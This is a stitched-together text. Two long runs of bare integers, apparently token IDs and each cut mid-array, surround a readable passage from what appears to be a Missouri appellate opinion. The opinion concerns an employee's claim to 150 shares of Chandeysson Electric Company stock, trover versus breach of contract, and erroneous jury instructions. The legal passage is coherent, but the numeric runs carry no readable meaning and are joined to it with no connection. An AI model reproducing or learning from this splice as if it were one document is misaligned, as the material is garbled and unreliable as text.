2233, 19, 15, 844, 1158, 3482, 812, 25457, 253, 3257, 2567, 15, 187, 19056, 2789, 253, 1127, 275, 521, 4864, 326, 3257, 369, 32046, 1882, 281, 13292, 326, 344, 369, 7429, 281, 7783, 10764, 273, 253, 775, 10273, 656, 1665, 21171, 6487, 5739, 15, 6043, 858, 417, 19494, 31658, 285, 359, 1158, 253, 5441, 273, 1924, 403, 417, 4209, 281, 22073, 253, 12791, 273, 31658, 342, 1675, 281, 253, 7783, 10764, 273, 5739, 15, 411, 3920, 362, 15, 8757, 13, 36153, 6956, 15, 898, 2941, 13, 12035, 322, 15, 56, 15, 19, 69, 26879, 13, 27648, 60, 23, 13, 854, 2194, 2418, 385, 774, 15, 3228, 273, 322, 1479, 25103, 362, 15, 5259, 6631, 11293, 904, 34128, 6956, 15, 898, 2227, 13, 11487, 322, 15, 56, 15, 19, 69, 12446, 13, 13278, 60, 19, 2194, 5238, 42400, 15, 39703, 416, 15155, 24344, 13, 657, 15, 34, 15, 46, 15, 52, 15, 187, 510, 747, 2332, 369, 11941, 323, 2228, 275, 4933, 3482, 434, 767, 11844, 25091, 7997, 285, 323, 417, 10568, 3482, 281, 1516, 875, 521, 9372, 327, 9436, 285, 323, 13770, 273, 3310, 15, 844, 452, 2783, 3482, 1160, 247, 749, 13038, 1083, 327, 13770, 273, 3310, 15, 187, 19056, 434, 9775, 1621, 15, 3719, 20311, 2220, 253, 3762, 344, 369, 253, 346, 32816, 7302, 3, 273, 253, 5739, 3206, 13, 285, 344, 24631, 8757, 362, 15, 17363, 12436, 13, 6956, 15, 23291, 904, 1052, 322, 15, 56, 15, 884, 1857, 13, 884, 2537, 60, 18, 14, 740, 1092, 323, 29315, 247, 7355, 327, 9436, 15, 380, 5266, 275, 253, 8757, 8, 1083, 369, 275, 581, 1385, 13, 31283, 275, 9436, 15, 496, 326, 1083, 253, 37218, 273, 3690, 24993, 318, 4907, 8757, 347, 253, 7302, 273, 7783, 10764, 273, 253, 10459, 5739, 13, 285, 497, 6704, 407, 779, 285, 253, 643, 6220, 2392, 15, 380, 1302, 4767, 13, 1052, 322, 15, 56, 15, 1150, 15, 4851, 15, 884, 1235, 13, 253, 37218, 273, 3690, 24993, 318, 475, 35216, 346, 585, 23572, 253, 4320, 4060, 273, 1016, 544, 1763, 24993, 1080, 62, 281, 253, 1180, 273, 10764, 4767, 475, 475, 475, 449, 1244, 27, 346, 510, 3310, 273, 24319, 310, 1195, 2003, 614, 13, 253, 5739, 12975, 33732, 875, 3746, 347, 281, 616, 6284, 475, 475, 475, 449, 8757, 574, 253, 4320, 4060, 281, 253, 10764, 3206, 15, 187, 510, 2250, 273, 6727, 332, 13, 390, 6727, 332, 285, 9436, 13, 14993, 347, 8540, 253, 1318, 273, 2173, 3367, 2867, 273, 3482, 534, 556, 644, 11516, 407, 3257, 281, 521, 1211, 897, 15, 1916, 6558, 6727, 332, 13, 352, 556, 644, 2783, 326, 3482, 1364, 452, 4060, 281, 13, 390, 247, 987, 273, 2867, 275, 285, 247, 987, 281, 253, 8993, 10023, 273, 13, 253, 5739, 387, 253, 673, 273, 9436, 13, 285, 36823, 9088, 1364, 320, 271, 11492, 273, 247, 4320, 13, 347, 10435, 382, 33025, 432, 271, 23720, 987, 18574, 1903, 38711, 13, 20859, 9697, 569, 13, 268, 15, 21300, 13, 3015, 608, 13391, 13, 48257, 15, 10694, 13, 10508, 28, 11957, 2083, 4011, 91, 362, 15, 322, 680, 567, 636, 29906, 15, 32418, 7088, 84, 2434, 904, 20105, 6956, 15, 43111, 13, 40355, 13, 6879, 322, 15, 56, 15, 38848, 13, 39881, 13, 10694, 3052, 15, 659, 15, 6802, 15, 45370, 15, 346, 1145, 23720, 4060, 390, 987, 588, 417, 36433, 323, 253, 9363, 273, 6727, 332, 13, 390, 387, 1878, 352, 3815, 310, 417, 4209, 449, 7251, 330, 15, 43, 15, 3925, 13, 3015, 11107, 13, 48257, 15, 3436, 13, 3435, 15, 2594, 671, 8676, 3052, 15, 49864, 15, 854, 2090, 13, 3015, 11087, 13, 295, 15, 884, 28, 35403, 362, 15, 21988, 386, 587, 10215, 2434, 904, 24665, 6956, 15, 38880, 13, 38848, 9, 19, 582, 11003, 322, 15, 56, 15, 721, 13, 1903, 9, 19, 558, 5874, 31299, 362, 15, 29056, 1216, 13, 22287, 6956, 15, 2946, 15, 47319, 13, 36918, 13, 15410, 322, 15, 56, 15, 898, 2405, 13, 898, 1237, 28, 418, 6968, 8420, 362, 15, 48297, 832, 254, 13, 6956, 15, 2946, 904, 21669, 322, 15, 56, 15, 374, 69, 884, 2055, 13, 884, 2270, 15, 187, 2512, 310, 642, 4645, 273, 1924, 326, 3482, 2455, 2918, 4320, 4060, 281, 7783, 10764, 273, 3257, 13739, 5739, 28, 285, 8757, 362, 15, 17363, 12436, 13, 9253, 13, 1057, 417, 5100, 2228, 275, 4602, 342, 253, 10362, 327, 253, 3200, 323, 747, 2332, 342, 1675, 281, 253, 1385, 323, 9436, 15, 187, 19056, 3054, 521, 9775, 2063, 30782, 247, 7355, 323, 247, 13770, 273, 3310, 6283, 8884, 253, 1569, 13, 19936, 8757, 362, 15, 17363, 12436, 13, 9253, 13, 285, 1903, 38711, 13, 20859, 9697, 569, 13, 35591, 13, 3015, 608, 15429, 13, 48257, 15, 10523, 14, 1438, 13, 285, 23094, 13, 3015, 608, 12231, 15, 8757, 362, 15, 17363, 12436, 369, 323, 9436, 13, 347, 1840, 4767, 13, 285, 858, 417, 4086, 271, 9775, 29315, 247, 13770, 273, 3310, 15, 380, 2505, 10414, 275, 38711, 403, 281, 253, 1055, 326, 581, 1907, 4060, 281, 5739, 778, 25457, 275, 9436, 285, 2319, 521, 2557, 273, 8540, 13, 2975, 15, 2053, 9061, 513, 417, 17611, 326, 253, 1302, 14416, 275, 41076, 247, 747, 2332, 323, 253, 4933, 273, 3482, 434, 753, 9775, 15, 187, 510, 9775, 9262, 1142, 5441, 15, 733, 3407, 407, 1563, 253, 1273, 1385, 273, 253, 5266, 275, 10568, 247, 4560, 326, 3482, 285, 3257, 5966, 715, 247, 3310, 323, 3482, 434, 3238, 28, 326, 3482, 2684, 285, 13697, 346, 1208, 8584, 3238, 3, 281, 3257, 28, 326, 3257, 23274, 3482, 7783, 10764, 273, 5739, 369, 1146, 7922, 281, 779, 28, 326, 3482, 369, 1996, 19439, 346, 14920, 5272, 2847, 3664, 326, 2176, 3081, 5441, 273, 271, 26800, 3753, 5866, 13, 824, 347, 253, 7830, 281, 3482, 273, 247, 43690, 273, 370, 22330, 13, 346, 11952, 247, 608, 6, 43690, 327, 753, 5739, 937, 253, 346, 26357, 43690, 369, 38597, 8884, 937, 253, 9610, 273, 753, 43690, 281, 253, 1986, 2077, 285, 253, 2418, 273, 16301, 13, 346, 395, 326, 753, 7830, 369, 247, 43690, 327, 753, 5739, 5087, 407, 253, 3257, 281, 3482, 347, 247, 5739, 11375, 13, 840, 368, 778, 1089, 326, 3482, 310, 7429, 281, 9295, 253, 1318, 273, 253, 5739, 3, 1162, 260, 1715, 66, 15, 187, 20576, 273, 1563, 253, 1385, 323, 247, 13770, 273, 3310, 342, 253, 11307, 27855, 281, 247, 9436, 16737, 39065, 13, 253, 9775, 764, 272, 1070, 247, 1750, 275, 3310, 342, 581, 275, 9436, 15, 733, 8025, 253, 5575, 43690, 369, 5087, 281, 3482, 346, 284, 247, 5739, 11375, 449, 21108, 253, 11844, 275, 1708, 273, 253, 7997, 327, 253, 4858, 9372, 13, 253, 11844, 4620, 281, 320, 16706, 275, 326, 327, 253, 9436, 1385, 253, 4984, 1119, 3482, 369, 417, 253, 7302, 273, 253, 5739, 1223, 762, 253, 41066, 273, 253, 9775, 327, 253, 13770, 273, 3310, 1385, 253, 4984, 2783, 3482, 369, 253, 7302, 273, 253, 5739, 15, 24999, 362, 15, 35122, 13, 24519, 6956, 15, 2946, 15, 721, 3677, 13, 28131, 322, 15, 56, 15, 27623, 13, 36477, 60, 18, 2194, 5791, 659, 15, 7406, 39339, 17226, 2434, 15, 362, 15, 8229, 5338, 29906, 15, 353, 16054, 15, 2434, 904, 854, 4082, 904, 29503, 401, 15, 40359, 13, 40657, 60, 18, 1570, 27560, 3349, 330, 15, 43, 15, 52, 904, 29686, 273, 6235, 264, 447, 13, 3015, 608, 13, 3239, 884, 2090, 28, 1283, 3052, 15, 49864, 15, 22761, 13, 3015, 7127, 28, 1903, 38711, 13, 20859, 9697, 569, 13, 34509, 13, 3015, 608, 15429, 13, 295, 15, 11439, 28, 337, 330, 15, 43, 15, 52, 904, 47483, 13, 3015, 8319, 13, 3877, 3349, 13, 3239, 11601, 24, 15, 743, 5667, 3284, 273, 3482, 434, 1750, 323, 247, 13770, 273, 3310, 369, 326, 13, 672, 3257, 23274, 3482, 7783, 10764, 273, 5739, 369, 1146, 7922, 281, 779, 13, 824, 2250, 369, 253, 2403, 273, 3257, 434, 26474, 922, 44245, 9023, 247, 19040, 285, 2176, 475, 23, 1540, 9023, 762, 253, 3310, 15, 380, 4560, 273, 436, 958, 943, 320, 2424, 275, 8342, 3448, 15, 5376, 6477, 943, 417, 5467, 390, 10466, 314, 5467, 253, 6242, 273, 25147, 5667, 5441, 15, 4051, 12290, 362, 15, 416, 21992, 7003, 13, 27587, 6956, 15, 12660, 13, 24876, 9, 42, 582, 7346, 322, 15, 56, 15, 337, 13, 854, 13, 898, 13, 3307, 418, 15, 51, 15, 34, 904, 47, 15, 52, 904, 884, 1857, 28, 11276, 362, 15, 15391, 3228, 13 ]

, was that he was to come to work for defendant and receive the same salary the Ralston company was paying him and a substantial interest in defendant company. Plaintiff thereupon entered upon the performance of his obligation by giving up his position with the Ralston company and working for defendant. Plaintiff's performance of services constituted a good consideration and was the payment agreed upon for the stock according to plaintiff. Vogeler v. Punch, 205 Mo. 558, 103 S.W. 1001, 1005; Ostrander v. Messmer, 315 Mo. 1165, 289 S. W. 609, 613[3]. Under plaintiff's view of the evidence it was a jury question whether there had been performance by plaintiff and a recognition by defendant of such performance as entitled plaintiff to the stock. Lorenz v. Morney, 221 Mo.App. 409, 282 S.W. 59, 61. The statute does not preclude a recovery. Defendant contends plaintiff sued the wrong party, basing the contention on the use of the personal pronoun by Dr. Chandeysson; i. e., that "he" would pay the same salary as the Ralston company and "he" would assign to plaintiff a substantial amount of the Chandeysson Electric Company stock. Defendant company had an authorized capital of $1,000,000, evidenced by 10,000 shares of stock authorized and outstanding, of which, as stated in defendant's brief, 7,250 were owned by Dr. Chandeysson and 2,100 were owned by his wife, "from which assignments of stock could have been made." C. A. Henneke only held his certificate for 150 shares of defendant's stock long enough to "endorse it to the company." The same situation existed with respect to the 150 shares standing in the name of C. E. Pfeiffer. Miss Bundschuh's testimony indicates she was not the owner of the 50 shares standing in her name. This accounts for 9,700 of the 10,000 shares of stock. The Secretary of the defendant company testified that Dr. Chandeysson was the owner of all the outstanding stock on December 12, 1933, when the last of the 10,000 shares were issued. The record is to the effect that Dr. Chandeysson handled the stock as he desired and was the Chandeysson Electric Company. He, as Chandeysson Electric Company, and not personally, employed plaintiff. The Chandeysson Electric Company paid plaintiff's salary, plaintiff's bonuses, and plaintiff's $750 "dividend" check. The parties understood and by their acts treated the contract as a contract between plaintiff and the Chandeysson Electric Company. "The trend of authority is to uphold as binding on the corporation acts or contracts on its behalf by a person or persons owning all or practically all the stock, even though there is a lack of, or defect in, some corporate step or action." 19 C.J.S., Corporations, § 1004, notes 39, 40, page 472. See also Id., § 1001, notes 82-90, page 467, § 1002. We think plaintiff could sue the defendant company. Plaintiff makes the point in his brief that defendant was estopped to deny that he was entitled to 150 shares of the Chandeysson Electric Company stock. Plaintiff did not plead estoppel and we think the facts of record are not sufficient to invoke the doctrine of estoppel with respect to the 150 shares of stock. Waugh v. Williams, 342 Mo. 903, 119 S.W.2d 223, 226[6, 8]; State ex rel. City of Sikeston v. Public Service Comm., 336 Mo. 985, 82 S.W.2d 105, 108[2]; Section 509.090 RMo 1949, V.A.M.S. The new trial was awarded for error in giving plaintiff's two verdict directing instructions and for not requiring plaintiff to elect between his counts on conversion and for breach of contract. We have considered plaintiff made a submissible case on breach of contract. Plaintiff's instruction No. II proceeded upon the theory he was the "absolute owner" of the stock involved, and he stresses Williams v. Everett, Mo.Sup., 200 S.W. 1045, 1049[1-10], for submitting a recovery on conversion. The petition in the Williams' case was in one count, sounding in conversion. In that case the Articles of Incorporation named Williams as the owner of 150 shares of the corporate stock, and were signed by him and the other incorporators. The court stated, 200 S.W. loc. cit. 1050, the Articles of Incorporation *663 "constituted the legal title of each [incorporator] to the number of shares stated * * *." And: "The contract of incorporation is tripartite, the stockholders agreeing between themselves as to their interests * * *." Williams had the legal title to the shares involved. The action of trover, or trover and conversion, seeks as damages the value of specific personal property of plaintiff which has been converted by defendant to his own use. To maintain trover, it has been considered that plaintiff must have title to, or a right of property in and a right to the immediate possession of, the stock at the time of conversion, and "`there must be an invasion of a legal, as contradistinguished from an equitable right.'" 11 Fletcher, Private Corporations, p. 149, § 5114, nn. 97, 98; Rosencranz v. Swofford Bros. Dry Goods Co., 175 Mo. 518, 529, 75 S.W. 445, 448, 97 Am. St.Rep. 609. "An equitable title or right will not suffice for the maintenance of trover, or at least it alone is not sufficient." 65 C.J. 60, § 94, nn. 26, 27. See also 53 Am.Jur. 869, § 73, n. 10; Newman v. Mercantile Trust Co., 189 Mo. 423, 445(2), 88 S.W. 6, 11(2); Wilkinson v. Misner, 158 Mo.App. 551, 555, 138 S.W. 931, 932; Luhmann v. Schaefer, Mo.App., 142 S.W. 2d 1088, 1090. There is no showing of record that plaintiff ever held legal title to 150 shares of defendant corporation stock; and Williams v. Everett, supra, does not establish error in connection with the ruling on the motion for new trial with respect to the count for conversion. Plaintiff states his instruction predicating a recovery for a breach of contract properly declared the law, citing Williams v. Everett, supra, and 11 Fletcher, Private Corporations, 338, § 5165, nn. 78-80, and 162, § 5117. Williams v. Everett was for conversion, as above stated, and did not rule an instruction submitting a breach of contract. The text references in Fletcher are to the effect that one having title to stock may sue in conversion and discuss his measure of damages, respectively. These authorities do not disclose that the court erred in awarding a new trial for the giving of plaintiff's said instruction. The instruction submitted many facts. It began by following the second count of the petition in requiring a finding that plaintiff and defendant entered into a contract for plaintiff's services; that plaintiff performed and rendered "valuable services" to defendant; that defendant notified plaintiff 150 shares of stock was being assigned to him; that plaintiff was later discharged "without reasonable cause"; that certain additional facts of an evidentiary nature occurred, such as the payment to plaintiff of a dividend of $750, "being a 5% dividend on said stock," the "said dividend was duly declared," the reporting of said dividend to the United States and the State of Missouri, "and that said payment was a dividend on said stock paid by the defendant to plaintiff as a stockholder, then you may find that plaintiff is entitled to recover the value of the stock" et cetera. Instead of following the count for a breach of contract with the allegations pertaining to a conversion deleted therefrom, the instruction commingled a claim in contract with one in conversion. It assumed the alleged dividend was paid to plaintiff "as a stockholder." Reading the verdict in light of the instructions on the separate counts, the verdict appears to be inconsistent in that on the conversion count the jury found plaintiff was not the owner of the stock while under the wording of the instruction on the breach of contract count the jury considered plaintiff was the owner of the stock. Shaw v. Richards, 208 Mo.App. 671, 236 S.W. 405, 406[1]; East St. Louis Cotton Oil Co. v. Skinner Bros. Mfg. Co., 8 Cir., 249 F. 439, 441[1]. Consult 28 C.J.S., Election of Remedies, § 5, page 1069; 18 Am.Jur. 161, § 44; 11 Fletcher, Private Corporations, 339, § 5165, n. 83; 1 C.J.S., Actions, § 51, note 28, page 1147. An essential element of plaintiff's claim for a breach of contract was that, when defendant notified plaintiff 150 shares of stock was being assigned to him, such action was the making of defendant's theretofore indefinite promise a definite and certain *664 promise under the contract. The finding of this fact should be required in plain language. Instructions should not assume or impliedly assume the existence of disputed essential facts. Glaser v. Rothschild, 221 Mo. 180, 203(I), 120 S.W. 1, 8, 9, 22 L.R.A.,N.S., 1045; Taylor v. Kansas City,

[ 15221, 387, 271, 717, 11303, 7989, 846, 344, 16780, 327, 3924, 285, 3407, 35945, 285, 15729, 3390, 617, 15, 187, 187, 42399, 24647, 4177, 743, 74, 32203, 518, 369, 1146, 3559, 342, 271, 5722, 672, 253, 5086, 7989, 8423, 16470, 617, 428, 285, 5082, 626, 1339, 564, 15, 187, 187, 510, 21472, 14029, 4694, 25620, 14, 484, 6376, 30405, 387, 806, 13, 533, 672, 253, 7989, 5082, 626, 1339, 285, 3407, 35945, 617, 1133, 703, 3199, 14050, 15, 187, 187, 10759, 3988, 2285, 20906, 3579, 281, 46270, 253, 4996, 32656, 13, 533, 253, 5389, 6480, 14, 2913, 14, 744, 574, 2168, 4425, 281, 1379, 8213, 715, 617, 1211, 3564, 15, 187, 187, 9, 6586, 27, 330, 1400, 10, 313, 6586, 27, 330, 1400, 10, 187, 187, 2993, 16470, 247, 15221, 12200, 617, 285, 13222, 352, 387, 253, 30539, 428, 533, 352, 816, 9829, 779, 15, 187, 187, 510, 15221, 17735, 327, 253, 5254, 273, 253, 353, 7958, 5579, 5048, 11803, 835, 247, 10402, 497, 32539, 247, 1384, 14, 11964, 7315, 39097, 347, 629, 273, 247, 1924, 14, 22071, 3177, 15, 187, 187, 18978, 13, 767, 3988, 17269, 16470, 2186, 273, 253, 2872, 7989, 13, 665, 369, 14186, 512, 275, 2806, 285, 9398, 247, 25818, 5025, 7856, 13, 285, 2335, 779, 1977, 15, 187, 187, 9, 6586, 27, 330, 1400, 10, 187, 187, 510, 7119, 858, 417, 2818, 253, 2323, 273, 253, 1924, 12246, 285, 253, 39097, 556, 2668, 697, 1659, 275, 253, 7247, 3872, 1984, 273, 5861, 15, 187, 187, 45, 263, 518, 310, 247, 1684, 16057, 13, 4498, 16360, 13, 20453, 13, 23721, 13, 285, 3438, 7379, 7088, 9846, 34358, 665, 556, 644, 11106, 347, 581, 273, 253, 954, 6422, 285, 20803, 2255, 275, 17111, 15, 187, 187, 2993, 6607, 617, 2586, 387, 253, 4695, 14029, 4694, 16865, 46911, 342, 253, 4498, 1608, 5102, 12688, 285, 2210, 275, 1273, 3212, 399, 8032, 34445, 266, 432, 7422, 15, 1147, 457, 84, 326, 673, 273, 807, 969, 15, 14538, 2097, 7505, 38829, 15, 5595, 7505, 38829, 403, 417, 4092, 15, 380, 954, 1846, 7505, 38829, 1705, 432, 29015, 13, 369, 793, 13, 285, 15039, 371, 21040, 15, 15405, 1846, 7505, 38829, 2486, 7771, 284, 13, 48037, 13, 285, 39064, 15, 329, 7505, 18470, 1537, 352, 348, 13, 38278, 13, 41153, 18658, 27, 24986, 1405, 66, 12447, 45469, 17226, 187, 187, 44, 375, 1405, 66, 310, 271, 9943, 1629, 1763, 609, 7138, 326, 457, 84, 1335, 9633, 285, 1408, 407, 271, 9943, 2021, 15, 309, 1053, 457, 85, 871, 253, 2644, 2926, 273, 849, 9461, 13290, 4166, 1694, 594, 4633, 13, 533, 24986, 1405, 66, 12447, 45469, 17226, 310, 253, 760, 581, 326, 3916, 281, 320, 253, 3236, 9461, 13290, 4166, 13, 594, 309, 457, 69, 1379, 616, 3159, 323, 352, 49042, 220, 187, 187, 31137, 954, 643, 9461, 13290, 24201, 13, 24986, 1405, 66, 9461, 13290, 4166, 3548, 457, 85, 3684, 2448, 1108, 352, 457, 84, 47344, 432, 18065, 8708, 13, 1133, 14, 81, 14050, 9461, 16458, 432, 12029, 837, 80, 275, 7531, 13, 534, 8525, 253, 1980, 3114, 15, 380, 4166, 310, 10375, 432, 253, 2644, 9461, 13290, 313, 24270, 13, 4808, 13, 285, 9279, 10, 970, 247, 2221, 26717, 6392, 19, 1232, 534, 2506, 457, 85, 2430, 12220, 13, 534, 2097, 2080, 1679, 273, 253, 17631, 23491, 275, 253, 4166, 403, 11069, 1309, 5162, 15, 187, 187, 9, 34, 457, 5914, 12447, 45469, 17226, 13, 534, 309, 9814, 4321, 13, 671, 4648, 247, 2221, 26717, 6392, 19, 11998, 1232, 13, 533, 342, 22755, 266, 9461, 29434, 13, 285, 253, 12922, 760, 15, 496, 581, 1263, 13, 4166, 432, 2644, 9461, 13290, 9279, 369, 1119, 281, 452, 247, 2169, 24402, 41064, 313, 34490, 4988, 329, 10, 285, 281, 21592, 248, 1102, 313, 34490, 4988, 444, 10, 4719, 15, 309, 452, 642, 2934, 1880, 24986, 1405, 66, 12447, 45469, 17226, 556, 247, 2169, 20118, 2600, 13, 390, 1880, 436, 1543, 275, 271, 24802, 3064, 672, 908, 327, 4808, 2698, 187, 187, 6300, 751, 329, 457, 5914, 12447, 45469, 17226, 13, 436, 19360, 4541, 313, 28489, 247, 10058, 2372, 31124, 10, 285, 556, 1669, 619, 4808, 2590, 285, 33055, 15, 24986, 1405, 66, 457, 84, 313, 1274, 10, 310, 5777, 28170, 685, 329, 457, 5914, 457, 84, 313, 918, 582, 533, 6747, 2789, 619, 4808, 4366, 1598, 1027, 275, 10688, 672, 32089, 275, 2866, 4931, 604, 368, 457, 250, 16088, 3168, 368, 1537, 923, 247, 3064, 32, 187, 187, 44, 375, 1405, 66, 4166, 34247, 5777, 10046, 685, 329, 457, 5914, 4166, 13, 533, 253, 26710, 34654, 846, 247, 7017, 15, 309, 1053, 457, 85, 1089, 352, 28637, 313, 11258, 273, 1364, 90, 582, 285, 352, 457, 84, 4354, 6107, 598, 2378, 309, 1691, 619, 14241, 321, 9141, 327, 689, 352, 15, 187, 187, 42, 476, 457, 85, 1663, 2028, 253, 3064, 875, 253, 767, 275, 2426, 273, 616, 1055, 327, 619, 4808, 1108, 849, 513, 368, 2028, 253, 3064, 875, 7846, 13802, 285, 14911, 48150, 32, 309, 452, 2717, 533, 19916, 323, 1097, 841, 17739, 273, 12447, 45469, 17226, 1108, 512, 253, 269, 606, 343, 314, 305, 7849, 309, 858, 275, 253, 329, 457, 5914, 2278, 9696, 10384, 1060, 2, 187, 187, 6723, 627, 667, 643, 17739, 273, 12447, 45469, 17226, 368, 1158, 309, 943, 1611, 562, 32, 187, 187, 9, 13443, 2530, 407, 4653, 323, 8180, 13, 534, 858, 417, 2818, 619, 4743, 273, 352, 15, 24986, 1405, 66, 12447, 45469, 17226, 310, 2130, 275, 4236, 11214, 447, 285, 5119, 8302, 13, 390, 432, 616, 4422, 390, 643, 299, 14, 14694, 398, 15, 21077, 49, 29352, 5, 1348, 15, 2222, 323, 1384, 14141, 13, 29352, 5, 2031, 15, 2222, 323, 5976, 14141, 2698, 187, 187, 42, 457, 306, 644, 4579, 272, 9461, 13290, 4166, 4413, 285, 2820, 281, 789, 562, 253, 2234, 3910, 875, 512, 253, 24201, 1108, 690, 273, 731, 403, 3192, 247, 1223, 281, 755, 896, 281, 479, 2, 309, 1904, 457, 85, 27753, 353, 3288, 40, 3288, 574, 247, 9461, 13290, 4166, 13, 309, 457, 620, 4579, 731, 3517, 285, 2486, 731, 275, 247, 3790, 14, 484, 313, 36865, 2920, 10, 3517, 2, 187, 187, 2512, 403, 247, 2257, 273, 1679, 8214, 9461, 1456, 24201, 323, 7289, 15, 3166, 368, 1158, 326, 253, 4376, 3064, 313, 783, 8214, 4394, 403, 1633, 577, 89, 347, 1199, 10, 310, 4409, 352, 32, 3808, 671, 823, 4465, 14590, 444, 3966, 15, 1737, 310, 634, 4743, 273, 326, 32, 187, 187, 42, 457, 78, 417, 2119, 835, 368, 457, 250, 432, 1108, 275, 6976, 13, 11142, 9461, 1456, 4166, 3548, 457, 85, 47817, 347, 2080, 347, 309, 871, 15, 5595, 440, 709, 967, 313, 74, 15, 70, 15, 13735, 90, 13, 9461, 1456, 14, 3610, 3485, 10, 9461, 1456, 24201, 10375, 970, 4250, 14, 4924, 4870, 313, 32538, 14, 30813, 390, 6392, 19, 11998, 10, 403, 275, 253, 21077, 49, 370, 1010, 14, 1099, 591, 1384, 14, 1099, 14141, 4376, 2491, 313, 34, 457, 5914, 13, 24986, 1405, 66, 13, 322, 24421, 13, 1535, 38665, 481, 309, 457, 306, 4102, 1119, 562, 313, 13550, 15867, 273, 5767, 399, 40357, 1840, 10, 326, 353, 3288, 40, 3288, 671, 5580, 247, 5777, 20182, 581, 1108, 370, 805, 16, 938, 14141, 15, 309, 1158, 512, 273, 731, 452, 690, 3686, 273, 8708, 21612, 347, 973, 15, 187, 187, 510, 581, 2221, 14, 1962, 522, 9461, 13290, 4166, 309, 457, 306, 574, 2793, 342, 310, 581, 309, 6960, 3909, 1108, 3954, 36215, 9461, 13290, 4166, 13, 1633, 751, 370, 23, 16, 1229, 14141, 15, 733, 457, 84, 625, 22407, 313, 45883, 1417, 285, 7687, 454, 1417, 582, 534, 3936, 562, 247, 2257, 273, 253, 35347, 285, 643, 39436, 307, 11539, 15, 733, 1335, 556, 253, 14126, 9532, 2167, 15, 1893, 2080, 352, 11210, 457, 85, 644, 347, 3576, 13, 533, 309, 6468, 457, 85, 908, 352, 323, 247, 1048, 2217, 673, 281, 4385, 15, 309, 457, 306, 3735, 326, 690, 952, 665, 452, 39890, 3374, 342, 253, 440, 709, 967, 5017, 4510, 253, 773, 16437, 254, 668, 22407, 9461, 13290, 4166, 2167, 15, 187, 187, 37070, 1456, 4166, 2506, 457, 85, 3831, 1199, 14590, 444, 387, 512, 13, 594, 11280, 247, 9461, 1456, 4166, 342, 2879, 14590, 444, 310, 417, 3076, 1580, 14590, 444, 310, 247, 6474, 20118, 326, 417, 760, 5373, 4808, 533, 352, 671, 476, 1361, 9017, 253, 22826, 1495, 273, 253, 4166, 15, 1780, 1247, 4166, 24000, 253, 581, 326, 4428, 247, 2169, 2408, 273, 14590, 444, 10748, 15, 309, 1335, 4489, 6313, 9461, 1456, 4166, 327, 697, 1211, 13, 533, 2879, 14590, 444, 778, 320, 12912, 313, 20432, 604, 368, 897, 634, 4166, 7808, 285, 971, 352, 281, 320, 625, 6474, 481, 187, 187, 42, 457, 78, 417, 2119, 604, 352, 1057, 1580, 619, 4808, 310, 3965, 8862, 667, 1576, 432, 253, 11650, 3608, 49042, 238, 309, 476, 457, 85, 4366, 352, 327, 619, 4808, 13, 533, 352, 1537, 320, 247, 1895, 323, 14530, 952, 15, 1680, 253, 43462, 14590, 329, 3732, 3587, 327, 253, 2454, 32, 380, 8642, 281, 247, 14590, 329, 6814, 309, 476, 1089, 310, 1384, 14, 6914, 15649, 24402, 41064, 8393, 942, 305, 14, 18, 4908, 13, 7293, 327, 11998, 5853, 285, 2644, 9279, 4632, 15, 8357, 13, 534, 309, 5467, 310, 1698, 2429, 281, 4951, 43462, 14590, 329, 15, 187, 187, 25179, 309, 1620, 908, 352, 327, 619, 2454, 13, 816, 327, 619, 3564, 285, 9881, 13, 285, 352, 369, 6079, 39944, 329, 313, 1235, 6, 9840, 24402, 1751, 13, 2456, 6, 851, 16979, 5796, 2225, 366, 13, 390, 627, 39462, 10, 6804, 275, 2257, 279, 15, 380, 4166, 310, 247, 1027, 830, 313, 1221, 249, 311, 13, 690, 643, 26965, 9448, 1512, 32, 6706, 66, 1479, 10, 285, 310, 19360, 715, 634, 4808, 3809, 285, 368, 476, 46539, 432, 352, 8505, 1108, 594, 352, 3198, 281, 320, 275, 4080, 8322, 285, 309, 369, 1900, 9202, 281, 897, 352, 4951, 323, 667, 2180, 273, 673, 15, 309, 3686, 273, 4282, 849, 1199, 310, 275, 2710, 17739, 273, 9461, 1456, 4166, 285, 849, 2810, 281, 5312, 2308, 313, 263, 1840, 10, 253, 24198, 329, 313, 395, 444, 10, 310, 15, 187, 187, 42, 908, 352, 323, 247, 34950, 11, 326, 309, 1694, 432, 247, 10913, 32012, 309, 574, 313, 999, 1477, 987, 32, 7016, 2866, 22692, 236, 212, 2717, 2010, 4307, 327, 352, 323, 495, 19530, 12, 582, 533, 247, 2129, 285, 247, 2716, 273, 3961, 486, 12, 34490, 4988, 329, 16481, 3253, 598, 15, 309, 1694, 253, 2934, 281, 1611, 32323, 24198, 329, 846, 3515, 715, 247, 1263, 275, 253, 1457, 5854, 9109, 273, 13715, 327, 4808, 3374, 313, 24182, 259, 12863, 708, 15110, 10, 285, 32323, 39944, 329, 13, 534, 310, 247, 6494, 2069, 625, 9630, 273, 247, 2603, 685, 2622, 41536, 1981, 11026, 11126, 1065, 247, 36767, 36473, 327, 634, 2454, 11602, 3966, 481, 187, 187, 40942, 352, 457, 84, 8644, 323, 49656, 347, 973, 13, 533, 309, 6468, 457, 85, 3597, 352, 323, 326, 15, 1292, 13, 604, 368, 878, 271, 8945, 773, 91, 262, 3198, 281, 564, 1024, 11602, 6313, 39944, 329, 651, 3164, 755, 1543, 13463, 15, 187, 187, 42, 457, 78, 347, 14530, 347, 368, 476, 320, 285, 452, 574, 642, 7596, 342, 9461, 1456, 4166, 313, 34, 457, 5914, 7138, 10, 6890, 619, 4808, 3295, 387, 512, 13, 1014, 1691, 690, 327, 253, 22273, 285, 352, 1904, 457, 85, 1818, 521, 4808, 10541, 387, 512, 2057, 15, 26733, 1020, 5017, 15, 187, 187, 42, 457, 78, 14530, 285, 954, 9461, 1456, 24201, 751, 1535, 38665, 13, 322, 24421, 285, 6956, 462, 3288, 1053, 457, 85, 1818, 253, 10688, 273, 619, 4808, 2220, 2898, 13, 2299, 24986, 1405, 66, 9461, 1456, 4166, 1057, 823, 247, 2372, 273, 13735, 10688, 281, 634, 4808, 534, 476, 17996, 634, 12575, 5811, 604, 368, 4647, 1512, 1199, 390, 1053, 457, 85, 3343, 323, 352, 281, 15816, 594, 816, 320, 31798, 273, 326, 15, 733, 310, 247, 1175, 1885, 2167, 13, 751, 954, 643, 8708, 9461, 1456, 24201, 15, 187, 187, 2042, 368, 457, 250, 2819, 323, 1529, 6392, 19, 14, 2068, 14668, 4394, 326, 457, 84, 1097, 253, 8357, 4166, 285, 253, 9279, 4908, 27, 309, 476, 5583, 367, 2284, 10164, 982, 15, 27742, 835, 368, 3153, 13, 476, 789, 562, 20182, 32, 187, 187, 510, 45869, 